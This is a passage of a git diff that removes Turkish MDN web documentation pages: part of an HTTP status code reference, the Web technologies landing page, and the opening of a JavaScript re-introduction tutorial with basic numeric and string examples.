eşzamansız(asenkron) bir yanıt göndermenin bir yolu olmadığından, kesin değildir.<br> - 'Başka bir işlemin yapıldığı' veya<br> - 'Sunucunun isteği işlediği durumlar' için veya<br> - 'toplu işleme' yanıt olarak tasarlanmıştır.(toplu işleme: bir defada -bölünmeden- yapılacak işlem bloğu) </dd> - <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}} - "203 Yetkili Olmayan Bilgiler"-</dt> - <dd>Bu yanıt kodu, döndürülen meta bilginin, kaynak sunucudakiyle tam olarak aynı olmadığı, ancak yerel veya üçüncü taraf bir kopyadan toplandığı anlamına gelir. Bu özel durum haricinde, "200 OK" yanıtı tercih edilir.</dd> - <dt>{{HTTPStatus(204, "204 No Content")}} - "204 İçerik Yok"</dt> - <dd>Bu istek için gönderilecek içerik yok, ancak başlıklar faydalı olabilir. Kullanıcı aracısı, bu kaynak için önbelleğe alınmış başlıklarını yenileriyle güncelleyebilir.</dd> - <dt>{{HTTPStatus(205, "205 Reset Content")}} - "205 İçeriği Sıfırla"</dt> - <dd>Kullanıcı aracısına bu isteği gönderen belgeyi sıfırlamasını söyler.</dd> - <dt>{{HTTPStatus(206, "206 Partial Content")}} - "206 Kısmi İçerik"</dt> - <dd>This response code is used because of range header sent by the client to separate download into multiple streams.</dd> - <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}}) - "207 Birden fazla durum" - Sözlük("WebDAV") </dt> - <dd>Birden çok durum kodunun uygun olabileceği durumlar için birden çok kaynak hakkında bilgi aktarır.</dd> - <dt>{{HTTPStatus(208, "208 Already Reported")}} ({{Glossary("WebDAV")}}) - "208 Rapor edilmiş" - Sözlük("WebDAV") </dt> - <dd>Bir <code><dav:propstat></code> yanıt öğesinin içinde, birden çok bağlamanın dahili üyelerinin aynı koleksiyona tekrar tekrar numaralandırılmasını önlemek için kullanılır.</dd> - <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta şifrelemesi</a>) - "Kullanılmış IM Başlığı"</dt> - <dd>Sunucu, kaynak için bir <code>GET</code> isteğini yerine getirdi ve yanıt, geçerli örneğe uygulanan bir veya daha fazla örnek işlemenin sonucunun bir temsilidir.<br> - IM = <a href="https://tools.ietf.org/html/rfc3229#section-10.1">instance-manipulation</a> : örnek işleme</dd> -</dl> - -<h2 id="Yönlendirme_mesajları">Yönlendirme mesajları</h2> - -<dl> - <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt> - <dd>The request has more than one possible responses. User-agent or user should choose one of them. There is no standardized way to choose one of the responses.</dd> - <dt>{{HTTPStatus(301, "301 Kalıcı Yönlendirme")}}</dt> - <dd>This response code means that URI of requested resource has been changed. Probably, new URI would be given in the response.</dd> - <dt>{{HTTPStatus(302, "302 Geçici Yönlendirme")}}</dt> - <dd>This response code means that URI of requested resource has been changed <em>temporarily</em>. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests.</dd> - <dt>{{HTTPStatus(303, "303 See Other")}}</dt> - <dd>Server sent this response to directing client to get requested resource to another URI with an GET request.</dd> - <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt> - <dd>This is used for caching purposes. It is telling to client that response has not been modified. So, client can continue to use same cached version of response.</dd> - <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt> - <dd>Was defined in a previous version of the HTTP specification to indicate that a requested response must be accessed by a proxy. It has been deprecated due to security concerns regarding in-band configuration of a proxy.</dd> - <dt><code>306 unused</code></dt> - <dd>This response code is no longer used, it is just reserved currently. It was used in a previous version of the HTTP 1.1 specification.</dd> - <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt> - <dd>Server sent this response to directing client to get requested resource to another URI with same method that used prior request. This has the same semantic than the <code>302 Found</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: if a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd> - <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt> - <dd>This means that the resource is now permanently located at another URI, specified by the <code>Location:</code> HTTP Response header. This has the same semantics as the <code>301 Moved Permanently</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: if a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd> -</dl> - -<h2 id="İstemci_hatası_yanıtları">İstemci hatası yanıtları</h2> - -<dl> - <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt> - <dd>This response means that server could not understand the request due to invalid syntax.</dd> - <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt> - <dd>Although the HTTP standard specifies "unauthorized", semantically this response means "unauthenticated". That is, the client must authenticate itself to get the requested response.</dd> - <dt><code>402 Payment Required</code></dt> - <dd>This response code is reserved for future use. Initial aim for creating this code was using it for digital payment systems however this is not used currently.</dd> - <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt> - <dd>The client does not have access rights to the content, i.e. they are unauthorized, so server is rejecting to give proper response. Unlike 401, the client's identity is known to the server.</dd> - <dt>{{HTTPStatus(404, "404 Not Found")}}</dt> - <dd>The server can not find requested resource. In the browser, this means the URL is not recognized. In an API, this can also mean that the endpoint is valid but the resource itself does not exist. Servers may also send this response instead of 403 to hide the existence of a resource from an unauthorized client. This response code is probably the most famous one due to its frequent occurence on the web.</dd> - <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt> - <dd>The request method is known by the server but has been disabled and cannot be used. For example, an API may forbid DELETE-ing a resource. The two mandatory methods, <code>GET</code> and <code>HEAD</code>, must never be disabled and should not return this error code.</dd> - <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt> - <dd>This response is sent when the web server, after performing <a href="/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, doesn't find any content following the criteria given by the user agent.</dd> - <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt> - <dd>This is similar to 401 but authentication is needed to be done by a proxy.</dd> - <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt> - <dd>This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message.</dd> - <dt>{{HTTPStatus(409, "409 Conflict")}}</dt> - <dd>This response is sent when a request conflicts with the current state of the server.</dd> - <dt>{{HTTPStatus(410, "410 Gone")}}</dt> - <dd>This response would be sent when the requested content has been permenantly deleted from server, with no forwarding address. Clients are expected to remove their caches and links to the resource. The HTTP specification intends this status code to be used for "limited-time, promotional services". APIs should not feel compelled to indicate resources that have been deleted with this status code.</dd> - <dt>{{HTTPStatus(411, "411 Length Required")}}</dt> - <dd>Server rejected the request because the <code>Content-Length</code> header field is not defined and the server requires it.</dd> - <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt> - <dd>The client has indicated preconditions in its headers which the server does not meet.</dd> - <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt> - <dd>Request entity is larger than limits defined by server; the server might close the connection or return an <code>Retry-After</code> header field.</dd> - <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt> - <dd>The URI requested by the client is longer than the server is willing to interpret.</dd> - <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt> - <dd>The media format of the requested data is not supported by the server, so the server is rejecting the request.</dd> - <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt> - <dd>The range specified by the <code>Range</code> header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.</dd> - <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt> - <dd>This response code means the expectation indicated by the <code>Expect</code> request header field can't be met by the server.</dd> - <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt> - <dd>The server refuses the attempt to brew coffee with a teapot.</dd> - <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt> - <dd>The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.</dd> - <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt> - <dd>The request was well-formed but was unable to be followed due to semantic errors.</dd> - <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt> - <dd>The resource that is being accessed is locked.</dd> - <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt> - <dd>The request failed due to failure of a previous request.</dd> - <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt> - <dd>The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an {{HTTPHeader("Upgrade")}} header in a 426 response to indicate the required protocol(s).</dd> - <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt> - <dd>The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.</dd> - <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt> - <dd>The user has sent too many requests in a given amount of time ("rate limiting").</dd> - <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt> - <dd>The server is unwilling to process the request because its header fields are too large. The request MAY be resubmitted after reducing the size of the request header fields.</dd> - <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt> - <dd>The user requests an illegal resource, such as a web page censored by a government.</dd> -</dl> - -<h2 id="Sunucu_hatası_yanıtları">Sunucu hatası yanıtları</h2> - -<dl> - <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt> - <dd>The server has encountered a situation it doesn't know how to handle.</dd> - <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt> - <dd>The request method is not supported by the server and cannot be handled. The only methods that servers are required to support (and therefore that must not return this code) are <code>GET</code> and <code>HEAD</code>.</dd> - <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt> - <dd>This error response means that the server, while working as a gateway to get a response needed to handle the request, got an invalid response.</dd> - <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt> - <dd>The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the <code>Retry-After:</code> HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.</dd> - <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt> - <dd>This error response is given when the server is acting as a gateway and cannot get a response in time.</dd> - <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt> - <dd>The HTTP version used in the request is not supported by the server.</dd> - <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt> - <dd>The server has an internal configuration error: transparent content negotiation for the request results in a circular reference.</dd> - <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt> - <dd>The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process.</dd> - <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt> - <dd>The server detected an infinite loop while processing the request.</dd> - <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt> - <dd>Further extensions to the request are required for the server to fulfill it.</dd> - <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt> - <dd>The 511 status code indicates that the client needs to authenticate to gain network access.</dd> -</dl> - -<h2 id="Bakınız">Bakınız</h2> - -<ul> - <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">List of HTTP status codes on Wikipedia</a></li> - <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">IANA official registry of HTTP status codes</a></li> -</ul> diff --git a/files/tr/web/index.html b/files/tr/web/index.html deleted file mode 100644 index b8630bf896..0000000000 --- a/files/tr/web/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Geliştiriciler için Web Teknolojisi -slug: Web -tags: - - Genel Bakış - - Internet - - Karşılama Sayfası - - Landing - - NeedsTranslation - - TopicStub - - Web - - Web Geliştirme - - ÇeviriGerekli -translation_of: Web ---- -<p>World Wide Web'in açık doğası, websiteleri ve çevrimiçi uygulamalar oluşturmak isteyen insanlar için inanılmaz olanaklar sunar. Web'in yeteneklerinden tam olarak faydalanabilmeniz için, onları nasıl kullanacağınızı bilmeniz gerekir. Çeşitli Web teknolojileri hakkında daha fazla şey öğrenmek için, aşağıdaki bağlantıları inceleyin.</p> - -<div class="row topicpage-table"> -<div class="section"> -<h2 class="Documentation" id="Web_Teknolojileri">Web Teknolojileri</h2> - -<h3 id="Temeller">Temeller</h3> - -<dl> - <dt><a href="/en-US/docs/Web/HTML">HTML</a></dt> - <dd><strong>BüyükYazı İmleme Dili - HyperText Markup Language (HTML)</strong> bir web sayfasının içeriğinin belirtme ve tanımı için kullanılır.</dd> - <dt><a href="/en-US/docs/Web/CSS">CSS</a></dt> - <dd><strong>Basamaklı Biçim Şablonları - Cascading Style Sheets (CSS)</strong> bir web sayfasının görünüşünü ve sunuluşunu tanımlamak için kullanılır.</dd> - <dt><a href="/en-US/docs/Web/HTTP">HTTP</a></dt> - <dd><dfn><strong>BüyükYazı Aktarım Kuralı - HyperText Transfer Protocol (HTTP),</strong> Web'deki HTML ve diğer büyük ortam belgelerinin dağıtımında kullanılır.</dfn></dd> -</dl> - -<h3 id="Betik_Yazma">Betik Yazma</h3> - -<dl> - <dt><a href="/tr/docs/Web/JavaScript">JavaScript</a></dt> - <dd><strong>JavaScript</strong>, tarayıcınızda çalışan betik dilidir. Websitenize ya da uygulamanıza etkileşim ve devingen özellikler eklemek için kullanabilirsiniz.</dd> - <dt><a href="/en-US/docs/Web/Reference/API">Web API'leri</a></dt> - <dd><strong>Web Uygulama Geliştirme Arayüzleri (Web API'leri)</strong> <a href="/en-US/docs/DOM">DOM</a>'u değiştirmek, ses ve izleti oynatmak ya da 3D çizge oluşturmak gibi çeşitli işleri yerine getirmek için kullanılır. - <ul> - <li><a href="/en-US/docs/Web/API" title="/en-US/docs/Web/API">Web API arayüz kaynağı</a> Web için geliştirme yaparken, kullanabileceğiniz tüm nesne türlerini dizelgeler.</li> - <li><a href="/en-US/docs/WebAPI">Web API sayfası</a> Web uygulamalarınızda kullanabileceğiniz iletişim, donanım erişimi ve diğer tüm API'leri dizelgeler.</li> - <li><a href="/en-US/docs/Web/Events">Olay dizelgesi </a> web sayfanızda ya da uygulamanızdaki ilginç şeyleri kaydetmek ve tepki vermek için kullanabileceğiniz tüm olayları dizelgeler.</li> - </ul> - </dd> -</dl> - -<h3 id="Çizgeler">Çizgeler</h3> - -<dl> - <dt><a href="/en-US/docs/SVG">SVG</a></dt> - <dd><strong>Ölçeklenebilir Vektör Çizgeleri - Scalable Vector Graphics (SVG)</strong> görselleri, bir dizi vektör ve biçim olarak ifade edebilmenizi sağlar. SVG'lerin bir üstünlüğü de, boyutları ne olursa olsun kusursuz biçimde ölçeklenebilmeleridir.</dd> - <dt><a href="/en-US/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a></dt> - <dd><strong>WebGL,</strong> {{HTMLElement("canvas")}} ögesini kullanarak 3D ya da 2D çizgeler çizebilmenizi sağlayan bir JavaScript arabirimidir.</dd> -</dl> - -<h3 id="Diğer">Diğer</h3> - -<dl> - <dt><a href="/en-US/docs/Web/MathML">MathML</a></dt> - <dd><strong>Matematiksel İşaretleme Dili - Mathematical Markup Language (MathML)</strong>, karmaşık matematiksel eşitlikler ve sözdizimlerini görüntüleyebilmenizi sağlar.</dd> -</dl> -</div> - -<div class="section"> -<h2 class="Documentation" id="Öğrenme_Alanı">Öğrenme Alanı</h2> - -<dl> - <dt><a href="/en-US/docs/Learn">Web Geliştirmeyi Öğrenmek</a></dt> - <dd>Bu makaleler, yeni başlayanların yalın websiteleri yapabilmeleri için ihtiyaçları duydukları her şeyi onlara sağlar.</dd> - <dt><a href="https://developer.mozilla.org/en-US/Apps/Progressive">Süreğen Web Uygulamaları</a></dt> - <dd>Süreğen Web uygulamaları günümüz web arabirimi ve süreğenleştirme izlemi ile geliştirilmiş web uygulamalarıdır. Bu uygulamalar her yerde çalışabilir ve kullanıcıların yerli uygulama kullanıyormuşçasına hissetmelerini sağlayacak türlü özellikler barındırabilir. Bu belgelendirmeler Süreğen Web Uygulamaları geliştirebilmeniz için size kılavuzluk eder.</dd> -</dl> - -<h2 id="Diğer_Konular">Diğer Konular</h2> - -<dl> - <dt><a href="/en-US/docs/Web/Apps">Web Uygulamaları Geliştirmek</a></dt> - <dd>Bu makaleler, taşınabilir, masaüstü ve Firefox OS ortamları için uygulama geliştirme yöntemlerini açıklar.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/Performance">Web Performansı</a></dt> - <dd>Web performansı, kullanıcıların bant genişliği, ekran boyutu, ağ veya cihaz özelliklerinden bağımsız olarak web uygulamalarının hızlı indirildiğinden ve kullanıcı etkileşimine duyarlı olduğundan emin olma sanatıdır.</dd> - <dt><a href="/en-US/docs/Web/Accessibility">Erişilebilirlik</a></dt> - <dd>Erişilebilirlik; herhangi bir şekilde görsel, işitsel ve diğer yetenekleri kısıtlanmış olan insanların websitelerini kullanabilmesini sağlar. Bu makaleler Erişilebilir Web Geliştirme hakkındadır.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/Localization">Yöreselleştime ve Uluslararasılaştırma (U18a)</a></dt> - <dd>Web küresel bir topluluktur! Sitenizi veya uygulamanızı kullanmak isteyebilecek herkesin beklediği dilde ve düzende içerik sağlama gereğini (örn. sağdan sola diller için) göz önünde bulundurarak sitenizin bir parçası olduğundan emin olun.</dd> - <dt><a href="/en-US/docs/Web/Security">Güvenlik</a></dt> - <dd>Uygulamanızın, kötü adamlara veri sızdırmasına izin vermeyin. Bu makaleleri, web uygulamanızın güvenli olduğuna emin olmak için kullanın.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/WebAssembly">WebAssembly</a></dt> - <dd>WebAssembly günümüz web tarayıcılarında çalışan yeni bir tür koddur. Sıkıştırılmış, ikili(binary) biçimiyle, doğala yakın (near-native) bir başarım sunan, düşük düzeyli, Assembly benzeri bir dildir. C/C++ kodunun webde çalışabilmesi için derleme hedefi sunar.</dd> -</dl> -</div> -</div> - -<p><span class="alllinks"><a href="/en-US/docs/tag/Web">Hepsini Gör...</a></span></p> diff --git a/files/tr/web/javascript/a_re-introduction_to_javascript/index.html b/files/tr/web/javascript/a_re-introduction_to_javascript/index.html deleted file mode 100644 index d6fabce7c3..0000000000 --- a/files/tr/web/javascript/a_re-introduction_to_javascript/index.html +++ /dev/null @@ -1,931 +0,0 @@ ---- -title: JavaScript ile Tekrar Tanışmak (JS Eğitimi) -slug: Web/JavaScript/A_re-introduction_to_JavaScript -tags: - - BetikKodlama - - Giriş - - JavaScript - - Orta düzey - - Rehber - - öğren -translation_of: Web/JavaScript/A_re-introduction_to_JavaScript ---- -<div>{{jsSidebar}}</div> - -<p>Neden yeniden tanışma? Çünkü {{Glossary("JavaScript")}}, <a href="http://javascript.crockford.com/javascript.html">dünyanın en yanlış anlaşılan programlama dili</a> olma gibi bir üne sahip. Genellikle bir oyuncak olarak atfedilmesine karşın, aldatıcı sadeliğinin altında güçlü dil özellikleri barındırır. Bunlardan biri, inanılmaz sayıda yüksek profilli uygulama tarafından kullanılıyor olmasıdır. Bu da bize Javascript teknolojisine ait derin bir bilginin her web veya mobil geliştirici için önemli bir beceri olduğunu gösterir.</p> - -<p>Dilin geçmişini anlatarak başlamak faydalı olacaktır. Javascript 1995 yılında Netscape'de bir mühendis olan Brendan Eich tarafından oluşturulmuştur ve Netscape 2 ile eş zamanlı olarak 1996 yılının başlarında kullanıma açılmıştır. Başta Livescript ismi ile çıkacakken -aralarında hemen hemen hiç benzerlik olmamasına rağmen- Sun Microsystem şirketine ait Java dilinin popülerliğini arttırmak adına talihsiz bir pazarlama seçimi ile Javascript ismi ile devam edilmiştir. Bu olay o zamandan beri karışıklıklığa neden olmaktadır.</p> - -<p>Birkaç ay sonra Microsoft dilin çoğu platforma uyumlu bir versiyonu olan Jscript'i IE 3 ile çıkardı. Netscape, dili Avrupa standartlarında bir organizasyon olan Ecma International'a sundu ve bu da 1997'de {{Glossary("ECMAScript")}} standardının ilk versiyonu ile sonuçlandı. Standart 1999'da ECMAScript edition 3 olarak önemli bir güncellemeyi aldı ve o zamandan beri oldukça istikrarlı kaldı. Ancak dördüncü baskı, dil karmaşıklığı ile ilgili politik farklılıklar nedeniyle terk edildi. Dördüncü baskının pek çok bölümü, 2009 yılı Aralık ayında yayınlanan ECMAScript 5. versiyonunun ve 2015 yılında yayınlanacak olan standartın 6. büyük versiyonunun temelini oluşturdu.</p> - -<div class="note"> -<p>Daha aşina olduğumuz için bu yazı boyunca ECMAScript yerine Javascript ismi ile devam edeceğiz.</p> -</div> - -<p>Çoğu programlama dilinin aksine, JavaScript dilinin hiçbir girdi veya çıktı kavramı yoktur. Bir ana bilgisayar ortamında bir betik dili olarak çalışacak şekilde tasarlanmıştır ve dış dünyayla iletişim kurmak için mekanizmalar sağlamak ana bilgisayar ortamına bağlıdır. En yaygın ana bilgisayar ortamı tarayıcıdır, ancak JavaScript yorumlayıcıları Adobe Acrobat, Photoshop, SVG görüntüleri, Yahoo!'nun Widget altyapısında ve node.js. gibi sunucu ortamlarında da bulunabilir. JavaScript'in kullanıldığı alanların listesi burada bitmez. Ayrıca, açık kaynaklı Apache CouchDB, gömülü bilgisayarlar veya GNOME (GNU / Linux işletim sistemleri için en popüler GUI'ler) gibi tam masaüstü ortamları gibi NoSQL veritabanlarını da içerir.</p> - -<h2 id="Genel_Bakış">Genel Bakış</h2> - -<p>JavaScript türlere, operatörlere ve standart hazır nesnelere sahip nesneye yönelik, dinamik bir dildir. Sözdizim kuralları Java ve C dillerinden gelmektedir ve bu dillerden birçok yapıyı başarılı şekilde barındırır. Bu diller ile arasındaki önemli bir fark, JavaScript'in sınıflara (class) sahip olmamasıdır. JavaScript, sınıfların yaptığı işleri nesne prototiplerini (object prototype) kullanarak yapar. Bir diğer temel fark ise fonksiyonların birer nesne olmasıdır. Bu şekilde fonksiyonların da yürütülebilir kodu saklama ve diğer her nesne gibi aktarılma kapasitesi vardır.</p> - -<p>Her dilin yapıtaşı sayılabilecek olan unsuru öğrenerek başlayalım: türler (types). JavaScript programları değerleri (value) manipüle eder ve bu değerlerin hepsi bir türe aittir. JavaScript'in türleri şunlardır:</p> - -<ul> - <li>{{jsxref("Sayı")}}</li> - <li>{{jsxref("String")}}</li> - <li>{{jsxref("Boolean")}}</li> - <li>{{jsxref("Fonksiyon")}}</li> - <li>{{jsxref("Nesne")}}</li> - <li>{{jsxref("Sembol")}} (ES2015'de yeni)</li> -</ul> - -<p>... oh, ayrıca {{jsxref("undefined")}} ve {{jsxref("null")}}, ki ... biraz garipler. Ayrıca özel bir nesne kabul edebileceğimiz {{jsxref("Array")}}. Bir de bedava elde edebileceğiniz nesneler olan {{jsxref("Date")}} ve {{jsxref("RegExp")}}. Teknik olarak fonksiyonlar da özel bir tür nesnedir. Bu nedenle asıl diyagramımız böyle görünmeli:</p> - -<ul> - <li>{{jsxref("Sayı")}}</li> - <li>{{jsxref("String")}}</li> - <li>{{jsxref("Boolean")}}</li> - <li>{{jsxref("Sembol")}} (Edition 6)</li> - <li>{{jsxref("Nesne")}} - <ul> - <li>{{jsxref("Fonksiyon")}}</li> - <li>{{jsxref("Dizi")}}</li> - <li>{{jsxref("Date")}}</li> - <li>{{jsxref("RegExp")}}</li> - </ul> - </li> - <li>{{jsxref("null")}}</li> - <li>{{jsxref("undefined")}}</li> -</ul> - -<p>Ayrıca bazı gömme {{jsxref("Error")}} türlerinden de söz edebiliriz. Ancak ilk diyagramla hareket etmemiz bizim işimizi kolaylaştıracaktır.</p> - -<h2 id="Sayılar">Sayılar </h2> - -<p>JavaScript'teki sayılar, spesifikasyonlara göre "çift duyarlıklı 64 bit format IEEE 754 değerleri" dir. Ancak bunun bazı ilginç sonuçları var. Örneğin JavaScript'te tamsayı gibi bir şey yoktur, bu yüzden eğer C veya Java'da kullanılan matematiğe alışkınsanız, aritmetiğinize biraz dikkat etmelisiniz.</p> - -<p>Ayrıca aşağıdaki gibi olaylara dikkat edin:</p> - -<pre class="brush: js">0.1 + 0.2 == 0.30000000000000004 -</pre> - -<p>Pratikte tamsayı değerleri 32-bit int olarak sayılır (ve bazı tarayıcı uygulamalarında bu şekilde saklanır). Bu, bit-temelli eylemler gerçekleştirmek istediğinizde önemli bir ayrıntıdır.</p> - -<p>Ekleme, çıkarma, modül (veya kalan) aritmetik ve benzeri dahil olmak üzere standart <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators#Arithmetic_operators">aritmetik operatörler</a> desteklenir. Daha ileri matematiksel fonksiyonlar gerçekleştirmek istiyorsanız kullanmanız gereken gömme nesne {{jsxref("Math")}}'dir:</p> - -<pre class="brush: js">Math.sin(3.5); -var d = Math.PI * r * r; -</pre> - -<p>{{jsxref("Global_Objects/parseInt", "parseInt()")}} gömme fonksiyonunu kullanarak bir string'i tamsayıya çevirebilirsiniz. Bu fonksiyon isteğe bağlı ikinci bir argüman olarak sayı tabanını alır:</p> - -<pre class="brush: js">parseInt('123', 10); // 123 -parseInt('010', 10); // 10 -</pre> - -<p>Eski tarayıcılarda "0" değeri ile başlayan stringler sekizli taban kabul ediliyordu. Eğer taban değerini yazmazsanız 2013 öncesi tarayıcılarda şaşırtıcı sonuçlar alabilirsiniz:</p> - -<pre class="brush: js">parseInt("010"); // 8 -parseInt("0x10"); // 16 -</pre> - -<p>Yukarıda gördüğünüz hata, {{jsxref("Global_Objects/parseInt", "parseInt()")}} fonksiyonu, yazılan string'i baştakı 0 nedeniyle sekizli taban cinsinden işlem yapması yüzünden gerçekleşti.</p> - -<p>Bir sayıyı binary'den tamsayıya dönüştürmek isterseniz tek yapmanız gereken tabanı değiştirmektir:</p> - -<pre class="brush: js">parseInt("11", 2); // 3 -</pre> - -<p>Benzer şekilde float türü sayıları ayrıştırmak için {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} gömülü fonksiyonunu kullanabilirsiniz. Bu fonksiyon, kuzeni sayabileceğimiz {{jsxref("Global_Objects/parseInt", "parseInt()")}} fonksiyonunun aksine 10 tabanlı sistemi kullanır.</p> - -<p>Ayrıca <code>+</code> operatörünü kullanarak değerleri sayıya çevirebilirsiniz:</p> - -<pre class="brush: js">+ '42'; //42 -+ '010'; //10 -+ '0x10'; //16 -</pre> - -<p>String sayısal bir değer değil ise karşınıza {{jsxref("NaN")}} (Açılımı: "Not a Number"' = sayı değil) çıkar:</p> - -<pre class="brush: js">parseInt("hello", 10); // NaN -</pre> - -<p><code>NaN</code> toksik gibidir: eğer onu bir girdi olarak herhangi bir matematiksel operasyonda kullanırsanız sonuç yine <code>NaN</code> olacaktır:</p> - -<pre class="brush: js">NaN + 5; // NaN -</pre> - -<p><code>NaN</code> {{jsxref("Global_Objects/isNaN", "isNaN()")}} gömme fonksiyonu ile test edilebilir:</p> - -<pre class="brush: js">isNaN(NaN); // true -</pre> - -<p>JavaScript ayrıca {{jsxref("Infinity")}} (sonsuz) ve<code>-Infinity</code> (- sonsuz) gibi özel değerlere sahiptir:</p> - -<pre><code>1 / 0; // Infinity --1 / 0; // -Infinity</code> -</pre> - -<p> <code>Infinity</code>, <code>-Infinity</code> ve <code>NaN</code> değerlerini gömme fonksiyon {{jsxref("Global_Objects/isFinite", "isFinite()")}} ile test edebilirsiniz: </p> - -<pre class="brush: js">isFinite(1/0); // false -isFinite(-Infinite); //false -isFinite(NaN); // false -</pre> - -<div class="note"><strong>Not:</strong> {{jsxref("Global_Objects/parseInt", "parseInt()")}} ve {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} fonksiyonları, belirtilen sayı biçimi için geçerli olmayan bir karaktere ulaşıncaya kadar bir dizeyi ayrıştırır, ardından bu noktaya kadar ayrıştırılan sayıyı döndürür. Ancak "+" operatörü, içinde geçersiz bir karakter varsa dizeyi <code>NaN</code> 'a dönüştürür. Bahsettiğimiz yöntemleri kullanarak"10.2abc" dizesini konsolda kendiniz ayrıştırmayı denerseniz farklarını daha iyi anlayabilirsiniz.</div> - -<h2 id="Stringler">Stringler</h2> - -<p>JavaScript'teki stringler, karakter dizileridir. Daha doğrusu her karakter 16 bitlik bir sayı ile temsil edilen Unicode karakter dizisidir. Bu, uluslararasılaşma ile uğraşmak zorunda kalmış herkese iyi bir haber diyebiliriz.</p> - -<p>Tek bir karakteri temsil etmek istiyorsanız, sadece 1 uzunluğunda bir string kullanmanız yeterlidir.</p> - -<p>Bir string'in uzunluğunu bulmak istiyorsanız <code><a href="/en/JavaScript/Reference/Global_Objects/String/length" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/length">length</a></code> özelliğini kullanabilirsiniz:</p> - -<pre class="brush: js">"merhaba".length; // 7 -</pre> - -<p>Böylelikle Javascript nesnelerine ilk adımımızı atmış olduk! Stringlerin de nesne olduğundan bahsetmiş miydik? Onların da stringleri manipüle etmek ve stringlerden bilgi almak için kullanılabilecek metodları vardır:</p> - -<pre class="brush: js">> 'merhaba'.charAt(0); // "m" -> 'merhaba, dünya'.replace('merhaba', 'elveda'); // "elveda, dünya" -> 'merhaba'.toUpperCase(); // MERHABA -</pre> - -<h2 id="Diğer_Türler">Diğer Türler</h2> - -<p>JavaScript, bir değer sayılmayan (ve sadece <code>null</code> anahtar kelimesi ile erişilebilen) {{jsxref ("null")}} ve atanmamış değer olduğunu belirten {{jsxref ("undefined")}} arasındaki farkı ayırt edebilir. Daha sonra değişkenlerden bahsedeceğiz, ancak 